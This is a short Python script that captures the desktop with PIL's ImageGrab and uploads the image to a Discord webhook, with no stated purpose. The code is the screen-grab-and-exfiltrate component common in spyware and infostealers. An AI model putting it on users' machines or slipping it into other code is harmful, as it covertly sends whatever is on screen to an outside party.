import time from io import BytesIO import requests from PIL import ImageGrab # Replace this with your Discord webhook URL WEBHOOK_URL = "https://discordapp.com/api/webhooks/..." # Capture a screenshot screenshot = ImageGrab.grab() # Save the screenshot to a BytesIO buffer screenshot_buffer = BytesIO() screenshot.save(screenshot_buffer, format="PNG") screenshot_buffer.seek(0) # Send the screenshot through the webhook files = {"file": ("screenshot.png", screenshot_buffer, "image/png")} requests.post(WEBHOOK_URL, files=files)